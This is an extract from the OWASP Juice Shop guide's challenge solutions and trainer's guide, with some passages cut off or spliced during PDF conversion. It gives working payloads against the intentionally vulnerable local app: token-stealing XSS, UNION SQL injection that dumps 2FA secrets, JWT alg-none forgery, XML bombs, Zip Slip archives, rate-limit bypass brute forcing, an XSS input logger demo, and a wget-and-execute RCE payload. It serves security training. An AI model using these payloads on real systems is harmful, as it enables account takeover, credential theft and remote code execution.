, t = e.shift();
return e.reverse().map(function(l, n) {
return String.fromCharCode(l - t - 24 - n)
}).join("")
}(13, 144, 87, 152, 139, 144, 83, 138) + 10..toString(36).toLowerCase()
252
Challenge solutions
253
Challenge solutions
To make this exploit work, some more sophisticated attack URL is required:
http://localhost:3000/#/search?
q=%3Ciframe%20src%3D%22javascript%3Axmlhttp%20%3D%20new%20XMLHttpRequest
%28%29%3B%20xmlhttp.open%28%27GET%27%2C%20%27http%3A%2F%2Flocalhost%
3A3000%2Frest%2Fuser%2Fchange-
password%3Fnew%3DslurmCl4ssic%26amp%3Brepeat%3DslurmCl4ssic%27%29%3B%20
xmlhttp.setRequestHeader%28%27Authorization%27%2C%60Bearer%3D%24%7BlocalSto
rage.getItem%28%27token%27%29%7D%60%29%3B%20xmlhttp.send%28%29%3B%22
%3E
Anyone who is logged in to the Juice Shop while clicking on this link will get their password
set to the same one we forced onto Bender!
Kudos to Joe Butler, who originally described this advanced XSS payload in his blog post
Hacking(and automating!) the OWASP Juice Shop.
254
Challenge solutions
3. Visit https://stackoverflow.com/questions/57061271/less-verbose-access-logs-using-
expressjs-morgan to find more unambiguous URL paths from the Juice Shop in it
255
Challenge solutions
4. Follow the link to PasteBin that is mentioned below the log file snippet in "(see
https://pastebin.com/4U1V1UjU for more)"
5. On https://pastebin.com/4U1V1UjU search for password to find log entries that might
help with the ultimate challenge goal
6. You will find one particularly interesting GET request that has been logged as
161.194.17.103 - - [27/Jan/2019:11:18:35 +0000] "GET /rest/user/change-password?
current=0Y8rMnww$*9VFYE%C2%A759-
!Fg1L6t&6lB&new=sjss22%@%E2%82%AC55jaJasj!.k&repeat=sjss22%@%E2%82%AC55jaJasj!.k8
7. The mismatched new and repeat parameters and the return code of 401 indicate
that this password change failed. This means the password could still be the current
one of 0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB !
8. Not knowing which user it belongs to, you can now
either perform a Password Spraying attack by trying to log in with the password for
all known user emails, e.g. from Access the administration section of the store
hash the known password with MD5 and compare it to the password hashes
harvested from Retrieve a list of all user credentials via SQL Injection
9. Either way you will conclude that the password belongs to [email protected] so using
this as Email and 0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB as Password on
http://localhost:3000/#/login will solve the challenge
256
Challenge solutions
Did you notice that one of the next requests of 161.194.17.103 in the leaked access log
2. Add a URL parameter called "callback". This will cause the API to return the content as
a JavaScript fragment (JSONP) rather than just a standard JSON object.
257
Challenge solutions
1. Go to http://localhost:3000/#/login and try logging in with Email ' and any Password
while observing the Browser DevTools network tab.
2. You will notice the SQL query for the login in the error being thrown: "sql": "SELECT *
FROM Users WHERE email = ''' AND password = '339df5aeae5bc6ae557491e02619c5dd' AND
deletedAt IS NULL"
3. Solve Exfiltrate the entire DB schema definition via SQL Injection to learn the exact
column names of the Users table.
4. Prepare a UNION SELECT payload what will a) ensure there is no result from the original
query and b) will add the needed user on-the-fly using static values in the query.
5. Log in with Email ' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username',
'[email protected]' as 'email', '12345' as 'password', 'accounting' as 'role',
6. This will trick the application backend into handing out a valid JWT token and thus
establishing a user session.
4. The hidden language is Klingon which is represented by a three-letter code tlh with
the dummy country code AA .
5. Request http://localhost:3000/i18n/tlh_AA.json to solve the challenge. majQa'!
Instead of expanding your brute force pattern (which is not a very obvious decision to make)
you can more easily find the solution to this challenge by investigating which languages are
supported in the Juice Shop and how the translations are managed. This will quickly bring
258
Challenge solutions
The Klingon language was originally created to add realism to a race of fictional aliens
who inhabit the world of Star Trek, an American television and movie franchise.
Although Klingons themselves have never existed, the Klingon language is real. It has
developed from gibberish to a usable means of communication, complete with its own
vocabulary, grammar, figures of speech, and even slang and regional dialects. Today it
is spoken by humans all over the world, in many contexts.3
259
Challenge solutions
1. Access the administration section of the store while inspecting network traffic.
2. You will learn the email address of the user in question is unsurprisingly
[email protected] .
3. You will also notice that there is no information about any user's 2FA configuration in the
responses from /api/Users .
4. Solve Retrieve a list of all user credentials via SQL Injection and keep its final attack
payload ready.
5. Change the one of the null s in payload to hopefully find a column that contains the
secret key for the 2FA setup:
http://localhost:3000/rest/products/search?
q=%27))%20union%20select%20null,id,email,password,2fa,null,null,null,null%20fro
m%20users-- yields a 500 error with SequelizeDatabaseError: SQLITE_ERROR: no
such column: 2fa .
http://localhost:3000/rest/products/search?
q=%27))%20union%20select%20null,id,email,password,2fakey,null,null,null,null%2
0from%20users-- fails with no such column: 2fakey .
http://localhost:3000/rest/products/search?
q=%27))%20union%20select%20null,id,email,password,2fasecret,null,null,null,null
%20from%20users-- fails with no such column: 2fasecret .
http://localhost:3000/rest/products/search?
q=%27))%20union%20select%20null,id,email,password,totp,null,null,null,null%20fr
om%20users-- also fails with no such column: totp .
http://localhost:3000/rest/products/search?
q=%27))%20union%20select%20null,id,email,password,totpkey,null,null,null,null%2
0from%20users-- fails again yielding no such column: totpkey .
http://localhost:3000/rest/products/search?
q=%27))%20union%20select%20null,id,email,password,totpsecret,null,null,null,null
%20from%20users-- finally succeeds with a 200 response as this column exists!
6. In the response from http://localhost:3000/rest/products/search?
q=%27))%20union%20select%20null,id,email,password,totpsecret,null,null,null,null%20
from%20users-- find the entry of user [email protected] with
"image":"IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH" whereas all other users have "image":""
set.
7. Using your favorite 2FA application (e.g. Google Authenticator) create a new entry, but
instead of scanning any QR code type in the key IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH
manually.
8. Go to and use SQL Injection to log in with [email protected]'-- as Username and
anything as Password.
9. You will be presented with the Two Factor Authentication input screen where you now
have to type in the 6-digit code currently displayed on your 2FA app.
260
Challenge solutions
10. After clicking Log in you are logged in and the challenge will be marked as solved!
261
Challenge solutions
it.
3. Under the payload property, change the email attribute in the JSON to jwtn3d@juice-
sh.op .
4. Change the value of the alg property in the header part from HS256 to none .
5. Encode the header to base64url . Similarly, encode the payload to base64url .
base64url makes it URL safe, a regular Base64 encode might not work!
6. Join the two strings obtained above with a . (dot symbol) and add a . at the end of
the obtained string. So, effectively it becomes base64url(header).base64url(payload).
7. Change the Authorization header of a subsequent request to the retrieved JWT
(prefixed with Bearer as before) and submit the request. Alternatively you can set the
token cookie to the JWT which be used to populate any future request with that
header.
If you do not own a Google account to log in with or are running the Juice Shop on a
hostname that is not recognized, you can still solve this challenge by logging in regularly but
add "oauth": true to the JSON payload POST ed to http://localhost:3000/rest/user/login.
262
Challenge solutions
4. Searching for '' (two single quotes) as Order ID now will let
http://localhost:3000/rest/track-order/'' throw an Unexpected string error instead of the
previous Invalid or unexpected token .
5. While not stated anywhere in the error messages, it can be assumed with some
MongoDB background that the query probably resembles something like { $where:
"property === '" + payload + "'" } .
6. The required payload for the challenge needs to make sure all data is matched while
squeezing itself into the query in a non-breaking way.
7. Search for ' || true || ' resulting in http://localhost:3000/rest/track-
order/'%20%7C%7C%20true%20%7C%7C%20' which will in fact query and return all
orders from the MarsDB.
263
Challenge solutions
2. This API allows to POST orders where the order lines can be sent as JSON objects
( orderLines ) but also as a String ( orderLinesData ).
3. The given example for orderLinesDate indicates that this String might be allowed to
contain arbitrary JSON: [{"productId": 12,"quantity": 10000,"customerReference":
["PO0000001.2", "SM20180105|042"],"couponCode": "pes[Bh.u*t"},...]
264
Challenge solutions
4. Click the Try it out button and without changing anything click Execute to see if and how
the API is working. This will give you a 401 error saying No Authorization header was
found .
5. Go back to the application, log in as any user and copy your token from the
Authorization Bearer header using your browser's DevTools.
265
Challenge solutions
10. Change the answer to Your ZIP/postal code when you were a teenager? into West-
2082 and click Change again to finally solve this challenge.
Before reunification, both the Federal Republic of Germany (FRG) and the German
Democratic Republic (GDR) used four-digit codes. Under a transitional arrangement
following reunification, between 1989 and 1993 postal codes in the west were prefixed
with 'W', e.g.: W-1000 [Berlin] 30 (postal districts in western cities were separate from
the postal code) and those in the east with 'O' (for Ost), e.g.: O-1xxx Berlin.4
266
Challenge solutions
267
Challenge solutions
3. It tells you that Morty had a dog named Snuffles which also goes by the alias of
Snowball for a while.
4. Visit http://localhost:3000/#/forgot-password and provide [email protected] as your
Email
5. Create a word list of all mutations (including typical "leet-speak"-variations!) of the
strings snuffles and snowball using only
lower case ( a-z )
upper case ( A-Z )
and digit characters ( 0-9 )
6. Write a script that iterates over the word list and sends well-formed requests to
http://localhost:3000/rest/user/reset-password . A rate limiting mechanism will prevent
you from sending more than 100 requests within 5 minutes, severely hampering your
brute force attack.
7. Change your script so that it provides a different X-Forwarded-For -header in each
request, as this takes precedence over the client IP in determining the origin of a
request.
8. Rerun your script you will notice at some point that the answer to the security question
is 5N0wb41L and the challenge is marked as solved.
9. Feel free to cancel the script execution at this point.
: If you do not want to write your own script for this challenge, take a look at juice-shop-
mortys-question-brute-force.py which was kindly published as a Gist on GitHub by philly-
vanilly.
Leet (or "1337"), also known as eleet or leetspeak, is a system of modified spellings
and verbiage used primarily on the Internet for many phonetic languages. It uses some
alphabetic characters to replace others in ways thdev at play on the similarity of their
glyphs via reflection or other resemblance. Additionally, it modifies certain words based
on a system of suffixes and alternative meanings.
The term "leet" is derived from the word elite. The leet lexicon involves a specialized
form of symbolic writing. For example, leet spellings of the word leet include 1337 and
l33t; eleet may be spelled 31337 or 3l33t. Leet may also be considered a substitution
cipher, although many dialects or linguistic varieties exist in different online
communities.5
268
Challenge solutions
3. Researching the camera model entry OpenSCAD reveals that this is a program to
create 3D models, which works with .stl files
4. As no further hint on the blueprint filename or anything is given, a lucky guess or brute
force attack is your only choice
5. Download http://localhost:3000/public/images/products/JuiceShop.stl to solve this
challenge
6. This model will actually allow you to 3D-print your own OWASP Juice Shop logo
models!
269
Challenge solutions
The official place to retrieve this and other media or artwork files from the Juice Shop (and
other OWASP projects or chapters) is https://github.com/OWASP/owasp-swag. There you
can not only find the 3D model leaked from this challenge, but also one that comes with a
dedicated hole to mount it on your keyring!
270
Challenge solutions
271
Challenge solutions
3. Visit http://localhost:3000/#/contact
4. Submit your feedback with ng2-bar-rating in the comment to solve this challenge
You can probably imagine that the typosquatted ng2-bar-rating would be a lot harder to
distinguish from the original repository ngx-bar-rating , if it where not marked with the THIS
IS NOT THE MODULE YOU ARE LOOKING FOR!-warning at the very top. Below you can
see the original ngx-bar-rating module page on NPM:
272
Challenge solutions
</foo> .
3. Upload this file through the File Complaint dialog and observe how the request
processing takes up to 2 seconds and then times out (to prevent you from actually
DoS'ing your application) but still solving the challenge.
You might feel tempted to try the classic Billion laughs attack but will quickly notice that the
XML parser is hardened against it, giving you a status 410 HTTP error saying Detected an
entity reference loop .
273
Challenge solutions
In the most frequently cited example, the first entity is the string "lol", hence the name
"billion laughs". The amount of computer memory used would likely exceed that
available to the process parsing the XML (it certainly would have at the time the
vulnerability was first reported).
While the original form of the attack was aimed specifically at XML parsers, the term
may be applicable to similar subjects as well.
The problem was first reported as early as 2002, but began to be widely addressed in
2008.
Defenses against this kind of attack include capping the memory allocated in an
individual parser if loss of the document is acceptable, or treating entities symbolically
and expanding them lazily only when (and to the extent) their content is to be used.6
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Challenges
Overwrite the Legal Information file
274
Challenge solutions
1. Combing through the updates of the @owasp_juiceshop Twitter account you will notice
https://twitter.com/owasp_juiceshop/status/1107781073575002112.
2. Researching ZIP-based vulnerabilities should also yield Zip Slip which exploits directory
traversal filenames in file archives.
3. As the Legal Information file you need to override lives in
http://localhost:3000/ftp/legal.md and uploading files via File Complaint does not give
any feedback where they are stored, an iterative directory traversal approach is
recommended.
4. Prepare a ZIP file (on Linux) with zip exploit.zip ../ftp/legal.md .
5. Log in as any user at http://localhost:3000/#/login.
6. Click Contact Us and Complain? to get to the File Complaint screen at
http://localhost:3000/#/complain.
275
Challenge solutions
7. Type in any message and attach your ZIP file, then click Submit.
8. The challenge will not be solved. Repeat steps 5-7 but with zip exploit.zip
../../ftp/legal.md as the payload.
Zip Slip is a form of directory traversal that can be exploited by extracting files from an
archive. The premise of the directory traversal vulnerability is that an attacker can gain
access to parts of the file system outside of the target folder in which they should
reside. The attacker can then overwrite executable files and either invoke them
remotely or wait for the system or user to call them, thus achieving remote command
execution on the victim’s machine. The vulnerability can also cause damage by
overwriting configuration files or other sensitive resources, and can be exploited on
both client (user) machines and servers. 8
2. There is an obvious pattern in the last characters, as the first eleven codes end with
gC7sn and the last with gC7ss .
3. You can rightfully speculate that the last five characters represent the actual discount
value. The change in the last character for the 12th code comes from a different
(probably higher) discount in December!
4. Check the official Juice Shop Twitter account for a valid coupon code:
https://twitter.com/owasp_juiceshop
5. At the time of this writing - January 2017 - the broadcasted coupon was n<Mibh.u)v
promising a 50% discount.
6. Assuming that the discount value is encoded in the last 2-5 characters of the code, you
could now start a trial-end-error or brute force attack generating codes and try
redeeming them on the Your Basket page. At some point you will probably hit one that
gives 80% or more discount.
7. You need to Checkout after redeeming your code to solve the challenge.
276
Challenge solutions
n<MibgC7sn
mNYS#gC7sn
o*IVigC7sn
k#pDlgC7sn
o*I]pgC7sn
n(XRvgC7sn
n(XLtgC7sn
k#*AfgC7sn
q:<IqgC7sn
pEw8ogC7sn
pes[BgC7sn
l}6D$gC7ss
3. It turns out that z85 (ZeroMQ Base-85 Encoding) was chosen as the coupon code-
creation algorithm.
4. Visit https://www.npmjs.com/package/z85 and check the Dependents tab:
5. If you have Node.js installed locally run npm install -g z85-cli to install
https://www.npmjs.com/package/z85-cli - a simple command line interface for z85 :
277
Challenge solutions
9. Enter and redeem the generated code on the Your Basket page and Checkout to solve
the challenge.
278
Challenge solutions
1. From February 2019 onward the monthly coupon tweets begin with a robot face emoji in
square brackets. Maybe the Juice Shop sales team forgot to send coupons too often so
that the process was automated at some point?
2. Some Internet research will bring you to the NPM module juicy-coupon-bot and its
associated GitHub repository https://github.com/bkimminich/juicy-coupon-bot. ℹ As this
is not part of the Juice Shop repo itself and it is publicly accessible, analyzing this
repository is not considered cheating!
3. Open the .travis.yml to see how the bot's CI/CD process is set up. You can also look
at the job results and logs at https://travis-ci.org/bkimminich/juicy-coupon-bot.
4. You will realize that there is a deploy step that is only executed when the build was
triggered by a (monthly) cron job on Travis-CI. This is probably the origin of the monthly
tweets! But where does the bot get its coupon code from?
5. Read the code of the juicy-coupon-bot carefully and optionally try to play with it locally
after installing it via npm i -g juicy-coupon-bot . You can learn a few things that way:
Running juicy-coupon-bot locally will prepare the text for a tweet with a coupon
code for the current month and with a discount between 10% and 40% and log it to
your console.
The coupon code is actually retrieved via an AWS API call which returns valid
coupons with different discounts and their expiration date as JSON, e.g.
{"discountCodes":
{"10%":"mNYS#iv#%t","20%":"mNYS#iw00u","30%":"mNYS#iw03v","40%":"mNYS#iw06w"},"exp
279
Challenge solutions
iryDate":"2019-02-28"}
6. You could collect this data for several months and basically fall back to the Pattern
analysis solution path only with more recent coupons.
7. For an easier and more satisfying victory over this challenge, take a look at the commit
history of the GitHub repository https://github.com/bkimminich/juicy-coupon-bot, though.
8. Going back in time a bit, you will learn that the coupon retrieval via AWS API backed by
a Lambda function was not the original implementation. Commit fde2003 introduced
the API call, replacing the previous programmatic creation of a coupon code.
9. You now have learned the coupon format and that it is z85 encoded. You can now
either manipulate your local clone of the "pre- fde2003 version" of the juicy-coupon-
bot or fall back to the last part of the Reverse engineering solution path where you find
and install z85-cli to conveniently create your own 80%+ coupon locally.
280
Challenge solutions
code/apply/69OxrZ8aJEgxONZyWoz1Dw4BvXmRGkM6Ae9M7k2rK63YpqQLPjnlb5V5L
vDj to solve this challenge.
var id = hashids.encode(999);
var numbers = hashids.decode(id);
$("#input").text("["+numbers.join(", ")+"]");
$("#output").text(id);
281
Challenge solutions
5. Send any captured request that has an Authorization: Bearer token to Burp's
Repeater.
6. Once in Repeater, click the JWS tab, then the Payload tab beneath and modify the
email parameter to be [email protected] .
7. Next, click the Attacker tab, select Key Confusion, then click Load.
8. Paste in the contents of the jwt.pub file without the -----BEGIN RSA PUBLIC KEY-----
and -----END RSA PUBLIC KEY----- lines.
282
Challenge solutions
9. Click Update and then Go in the top left to send the modified request via Burp and solve
this challenge!
283
Challenge solutions
solved!
4. The logged text is in Romanian language: <!-- @echipa de suport: Secretul nostru
comun este încă Caoimhe cu parola de master gol! -->
5. Running this through an online translator yields something like: Support Team: Our
secret is still common Caoimhe master password empty!
6. From master password empty you can derive, that the KeePass file is protected with
only a key file instead of a password!
7. The key file must be something the support team has easy access to from everywhere -
how else would they achieve 24/7 with expectedly high staff rotation?
8. The second important hint is the reference to Caoimhe , which happens to be an Irish
feminine given name.
9. Visit http://localhost:3000/#/about and cycle through the photos of all support staff that
are displayed in the background feedback carousel. There is one woman with red hair,
which is a (stereo-)typical attribute of Irish people - so maybe she actually is
"Caoimhe"?
284
Challenge solutions
285
Challenge solutions
286
Challenge solutions
qgYkUNvn//UbE7e95C+6e+7GtdpqJ8mqm4WcPvUGIUxmGLTTAC2+G9UuFCD1DUjg==--> .
2. This is a cipher text that came out of an AES-encryption using AES256 in CBC mode.
287
Challenge solutions
3. To get the key and the IV, you should run a Forced Directory Browsing attack against
the application. You can use OWASP ZAP for this purpose.
i. Of the word lists coming with OWASP ZAP only directory-list-2.3-big.txt and
directory-list-lowercase-2.3-big.txt contain the directory with the key file.
"IvLuRfBJYlmStf9XfL6ckJFngyd9LfV1JaaN/KRTPQPidTuJ7FR+D/nkWJUF+0xUF07CeCeqYfxq+OJVV
a0gNbqgYkUNvn//UbE7e95C+6e+7GtdpqJ8mqm4WcPvUGIUxmGLTTAC2+G9UuFCD1DUjg==" | openssl
d/by/sending/1btc/to/us
5. Visit
http://localhost:3000/this/page/is/hidden/behind/an/incredibly/high/paywall/that/could/onl
y/be/unlocked/by/sending/1btc/to/us to solve this challenge and marvel at the premium
VR wallpaper! (Requires dedicated hardware to be viewed in all its glory.)
288
Challenge solutions
4. The server should eventually respond with a 503 status and an error stating Sorry, we
are temporarily not available! Please try again later. after roughly 2 seconds. This is
due to a defined timeout so you do not really DoS your Juice Shop server.
6. To solve this challenge, you need to find a secret URL hidden inside the "juicy malware"
and simulate a self-targeted SSRF attack with it.
7. Use your favorite decompiler(s) to see what is going on inside the malware program...
8. ...or execute the malware while tunneling all its traffic through a proxy.
9. Either way you should be able to identify the URL being called by it is
http://localhost:3000/solve/challenges/server-side?
key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3
10. Visiting that URL directly will not do anything, as it needs to be called through the
289
Challenge solutions
https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true &&
chmod +x malware && ./malware')} . Submit this as Username and (on a Linux server) the
ℹ Remember that you need to use the right malware file for your server's operation system
and also their synonym command for wget .
290
Challenge solutions
<http://juice-shop-staging.herokuapp.com/promotion>
![Tweet promoting a new in-app promotion video](img/tweet
_
pro motion.png) 2. Visit http://localhost:3000/promotion to watch the video. You will notice
that it comes with subtitles enabl
omo video.png) 3. Right-click and select _View Source on the page to learn that it loads its
video from http://localhost:3000/video and that the subtitles are directly embedded in th e p
age itself. 4. Inspecting the response for http://localhost:3000/video in the Network tab of
your DevTools shows an interesting header Content-Location: /assets/public/videos/JuiceS
hop Jingle.mp4 5. Trying to access the video directly at
Overwrite the Legal Information file challeng e ca n be used. 12. The blind part of this
challenge is the actual file location in the server file system. Trying to create a Zip file with
any path trying to traverse into ../../assets/public/videos/ will fail. Notice that ../../
was sufficient to get to the root folder in Overwrite the Legal Information file. 13. This likely
means that there is a deeper directory structure in which ass ets/ resides. 14. This actual
directory structure on the server is created by the AngularCLI tool when it compiles the
application and looks as follows: frontend/dist/fron tend /assets/ . 15. Prepare a ZIP file
with a JuiceShopJingle.vtt inside that contains the prescribed payload of </script>
<script>alert(`xss`)</script> with zip exploit.zip
Upload the ZIP file on <http://localhost:300 0/#/ complain>. 17. The challenge notification will
291
Challenge solutions
not trigger immediately, as it requires you to actually execute the payload by visiting
<http://localhost:3000/pro moti on> again. 18. You will see the alert box and once you go
Back the challenge solution should trigge
1. https://en.wikipedia.org/wiki/ROT13 ↩
2. http://hakipedia.com/index.php/Poison_Null_Byte ↩
3. http://www.kli.org/about-klingon/klingon-history ↩
4. https://en.wikipedia.org/wiki/List_of_postal_codes_in_Germany ↩
5. https://en.wikipedia.org/wiki/Leet ↩
6. https://en.wikipedia.org/wiki/Billion_laughs_attack ↩
7. https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-
INPVAL-004) ↩
8. https://snyk.io/research/zip-slip-vulnerability ↩
292
Trainer's guide
Trainer's guide
Co-authored by Timo Pagel
Instances
Make sure all participants have their own running Juice Shop instance to work with. While
attempting challenges like RCE or XXE students might occasionally take down their server
and would severely impact other participants if they shared an instance.
There are multiple Run Options which you can choose from. It is perfectly fine to run multiple
docker containers on one host. They do not effect each other.
Customization
Especially in awareness trainings for management you might want to create a higher
immersion by making the Juice Shop look like an application in the corporate design of the
participants' own company. Juice Shop offers various customization options to achieve this.
Several custom configurations already come packaged with the Juice Shop source code, the
two most sophisticated ones being 7 Minute Security and Mozilla.
In addition, you might want to disable all challenge notifications during awareness trainings
to avoid distraction. The Quiet configuration demonstrates the necessary options to achieve
this.
293
Trainer's guide
For a really sophisticated and immersive demo consider performing some Additional
Browser tweaks. These will let you use OAuth2 login via Google and cast the illusion that
coupon codes were actually tweeted by your customer's company.
Classroom hints
In a class room setup you have to find a way to distribute the URL of each instance to the
participants. For small groups, it is probably fine to just spin up a number of containers and
tell all participants which URL they have to use. An example to spin up 10 Docker containers
on a UNIX based system is to run
If you want to track progress centrally during the training, you might want to host a central
CTF server where participants can post the challenges they already solved. You might
consider turning off public visibility of the leader board on the CTF server unless you want to
encourage the students to hack very competitively.
JuicyCTF comes with a custom-built load balancer. It allows every participant to use the
same URL, but their traffic will always be sent to their own personal instance.
The JuicyCTF repository contains multiple guides on how to set up the system on different
cloud provider environments.
Existing trainings
One existing training which uses the Juice Shop for example is a Timo Pagel's University
Module. The structure mostly is as follows:
294
Trainer's guide
Björn Kimminich's Web Application Security Training slides as well as the web attack
chapters of his IT Security Lecture follow a similar pattern of
1. Introduction
2. Timeboxed exercise
3. Demonstration of the hack (for all who did not finish the exercise in time)
4. Explaining mitigation and prevention
You can find more links to existing material in the Lectures and Trainings section of the
project references on on GitHub.
295
Trainer's guide
Time
Description Category Difficulty for Dependencies
demo
Privacy Security
Policy through Privacy Policy
Inspection Obscurity
Broken
Admin Login Admin or Admin
Access
Section Registration
Control
Broken
View Basket Access Log in with two different users
Control
Broken
Easter Egg Access Explain Poison Null Byte
Control
Nested Cryptographic
Easter Egg
Easter Egg Issues
Forgotten Sensitive
Developer Data Explain Poison Null Byte
Backup Exposure
XSS demo
296
Trainer's guide
1. Install Docker.
2. Run git clone https://github.com/wurstbrot/shake-logger .
3. Run cd shake-logger and then docker-compose up .
4. Turn on your speakers and make sure your browser is allowed to play sound.
5. Open this link to launch the XSS demo ().
6. Use the application normally, e.g. doing a search and logging in with some user.
7. In a new tab go to http://localhost:8080/logger.php to see that all user input was
transmitted to a third-party server.
8. Show the Network tab of the browser window with Juice Shop to see the requests that
are sent to the logger.php script.
9. Reload the Juice Shop with F5 and use the application a bit more.
10. You will see that no more logging takes place as XSS payload was removed during the
reload.
297
Troubleshooting
Troubleshooting
If (and only if) none of the below hints could help you resolve your issue, please post your
problem on our official Gitter Chat or in our official Subreddit. If you are sure to have found a
bug in the Juice Shop itself please open a GitHub issue.
Node.js / NPM
After changing to a different Node.js version it is a good idea to delete npm_modules and
re-install all dependencies from scratch with npm install
If during npm install the sqlite3 or libxmljs2 binaries cannot be downloaded for
your system, the setup falls back to building from source with node-gyp . Check the
node-gyp installation instructions for additional tools you might need to install (e.g.
Docker
If using Docker Toolbox on Windows make sure that you also enable port forwarding
from Host 127.0.0.1:3000 to 0.0.0.0:3000 for TCP for the default VM in VirtualBox.
Vagrant
Using the Vagrant script (on Windows) might not work while your virus scanner is
running. This problem was experienced at least with F-Secure Internet Security.
OAuth
If you are missing the Login with Google button, you are running OWASP Juice Shop
under an unrecognized URL. You can still solve the OAuth related challenge! If you
want to manually make the OAuth integration work to get the full user experience, follow
these steps:
298
Troubleshooting
One thing to note: Make sure that you setup the redirect_uri to match your app's
URL. If you for some reason have to modify the redirect_uri , this gets cached on
Google's end and takes longer than you'll want to wait to reset.
Miscellaneous
You may find it easier to find vulnerabilities using a pen test tool. We strongly
recommend Zed Attack Proxy which is open source and very powerful, yet beginner
friendly.
299
About this book
300
About this book
301